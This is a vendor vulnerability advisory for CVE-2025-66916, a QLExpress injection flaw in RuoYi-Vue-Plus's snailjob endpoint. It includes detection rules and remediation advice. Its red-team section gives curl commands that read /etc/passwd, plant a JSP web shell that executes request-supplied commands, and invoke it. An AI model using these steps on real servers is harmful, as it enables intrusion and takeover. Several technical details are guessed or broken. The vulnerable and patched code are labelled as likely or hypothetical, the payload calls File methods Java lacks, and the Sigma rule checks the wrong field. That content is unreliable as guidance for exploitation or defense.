CVE-2025-66916
Executive Summary
CVE-2025-66916 is a critical unauthenticated remote code execution vulnerability in the RuoYi-Vue-Plus framework, specifically within the snailjob component. The flaw resides in the /snail-job/workflow/check-node-expression interface, which processes user-supplied QLExpress expressions without adequate sanitization. An attacker can craft a malicious expression to instantiate the File class, enabling arbitrary file read and write operations on the server. This can lead to full server compromise, data exfiltration, or persistent backdoor installation. The vulnerability affects all versions up to and including 5.5.1, and no official patch has been released at the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a Java-based web application vulnerability in the RuoYi-Vue-Plus framework, which is distributed as a Maven project. The risk is primarily to organizations that have deployed this framework internally or as a public-facing service.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions or race conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerable endpoint.
- User Interaction (UI): None (N) – The attacker does not need to trick a legitimate user.
- Scope (S): Unchanged (U) – The exploit cannot affect resources beyond the vulnerable component.
- Confidentiality (C): High (H) – Full file read capability leads to data exposure.
- Integrity (I): High (H) – Arbitrary file write can modify application code or system files.
- Availability (A): High (H) – An attacker could overwrite critical files, causing denial of service.
CVSS Score: 9.8 (Critical)
Threat Level: Critical. The combination of no authentication, low complexity, and high impact makes this a prime target for automated exploitation.
Deep Dive & Mechanics
The vulnerability exists in the snailjob component's workflow engine. The endpoint /snail-job/workflow/check-node-expression is designed to validate QLExpress expressions used in workflow nodes. QLExpress is a powerful scripting engine that allows Java-like syntax and object instantiation.
The core issue is that the application passes user input directly to the QLExpress engine without any blacklist or sandboxing. An attacker can inject a QLExpress expression that creates a java.io.File object and uses its methods to read or write files.
Example of a malicious expression:
new java.io.File("/etc/passwd").readLines()
This expression would return the contents of /etc/passwd in the HTTP response.
For file writing, an attacker could use:
new java.io.File("/path/to/webapp/shell.jsp").write("...malicious JSP code...")
The lack of input validation allows the attacker to traverse directories and access any file the application process has permissions to read or write.
Vulnerable vs. Patched Code
Vulnerable Code (RuoYi-Vue-Plus <= 5.5.1): The vulnerable endpoint likely contains code similar to:
@PostMapping("/workflow/check-node-expression")
public Result checkNodeExpression(@RequestBody String expression) {
// Directly evaluate user input without sanitization
Object result = QLExpressRunner.execute(expression);
return Result.success(result);
}
Patched Code (Hypothetical): A secure implementation would use a whitelist of allowed operations or a sandboxed QLExpress context:
@PostMapping("/workflow/check-node-expression")
public Result checkNodeExpression(@RequestBody String expression) {
// Validate expression against a whitelist of allowed functions
if (!isExpressionSafe(expression)) {
return Result.error("Expression contains forbidden operations");
}
// Use a sandboxed runner that restricts class instantiation
QLExpressRunner runner = new QLExpressRunner();
runner.addOperator("File", null); // Block File class
Object result = runner.execute(expression);
return Result.success(result);
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A target running RuoYi-Vue-Plus <= 5.5.1 with the snailjob component enabled.
- Network access to the
/snail-job/workflow/check-node-expressionendpoint.
Exploit Steps:
Identify the endpoint:
curl -k https://target.com/snail-job/workflow/check-node-expression -X POST -d "test"Read a sensitive file:
curl -k https://target.com/snail-job/workflow/check-node-expression \ -X POST \ -H "Content-Type: application/json" \ -d '{"expression": "new java.io.File(\"/etc/passwd\").readLines()"}'Write a web shell:
curl -k https://target.com/snail-job/workflow/check-node-expression \ -X POST \ -H "Content-Type: application/json" \ -d '{"expression": "new java.io.File(\"/path/to/webapp/shell.jsp\").write(\"<% Runtime.getRuntime().exec(request.getParameter(\\\"cmd\\\")); %>\")"}'Execute commands via the web shell:
curl -k https://target.com/shell.jsp?cmd=id
Note: The exact path for the web shell depends on the application's deployment directory (e.g., /usr/local/tomcat/webapps/ROOT/).
Blue Team (Defensive)
Detection:
- Monitor for POST requests to
/snail-job/workflow/check-node-expressionwith unusual payloads containingnew java.io.File,readLines,write, or other file operations. - Look for anomalous outbound connections from the application server after exploitation.
- Check for unexpected files in web-accessible directories (e.g.,
.jsp,.phpfiles).
Hunting:
- Search logs for QLExpress evaluation errors or stack traces related to
java.io.File. - Use the Sigma rule below to detect exploitation attempts in web server logs.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/snail-job/workflow/check-node-expressionwith JSON payloads containingnew java.io.File. - Outbound connections to unknown IPs from the application server.
- POST requests to
- File System:
- Unexpected files in web-accessible directories (e.g.,
shell.jsp,cmd.jsp). - Modified system files (e.g.,
/etc/passwd,/etc/shadow).
- Unexpected files in web-accessible directories (e.g.,
- Process:
- Java process executing shell commands (e.g.,
Runtime.getRuntime().exec).
- Java process executing shell commands (e.g.,
- Logs:
- Application logs showing QLExpress evaluation of
Fileclass methods.
- Application logs showing QLExpress evaluation of
Detection Engineering
YARA Rule
rule CVE_2025_66916_Exploit_Payload {
meta:
description = "Detects QLExpress payloads targeting CVE-2025-66916"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66916"
strings:
$file_class = "new java.io.File" ascii wide nocase
$read_method = "readLines" ascii wide nocase
$write_method = "write" ascii wide nocase
$ql_express = "QLExpress" ascii wide nocase
condition:
$file_class and ($read_method or $write_method)
}
Sigma Rule
title: CVE-2025-66916 - RuoYi-Vue-Plus QLExpress File Access
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-66916 via POST requests to the vulnerable endpoint.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/snail-job/workflow/check-node-expression'
cs-uri-query|contains: 'new java.io.File'
condition: selection
falsepositives:
- Legitimate use of QLExpress with file operations (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-66916 - RuoYi-Vue-Plus QLExpress File Access"; flow:to_server,established; content:"POST"; http_method; content:"/snail-job/workflow/check-node-expression"; http_uri; content:"new java.io.File"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the snailjob component if not required, or block access to the
/snail-job/path via a web application firewall (WAF) or reverse proxy. - Apply input validation to the
check-node-expressionendpoint to block expressions containingjava.io.File,Runtime,ProcessBuilder, or other dangerous classes. - Upgrade to a patched version of RuoYi-Vue-Plus as soon as it becomes available.
Long-term Fixes:
- Implement a sandboxed QLExpress runner that restricts class instantiation to a whitelist of safe classes.
- Use a WAF rule to block POST requests to
/snail-job/workflow/check-node-expressionwith JSON payloads containingnew java.io.File. - Conduct a security audit of all QLExpress usage in the application.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.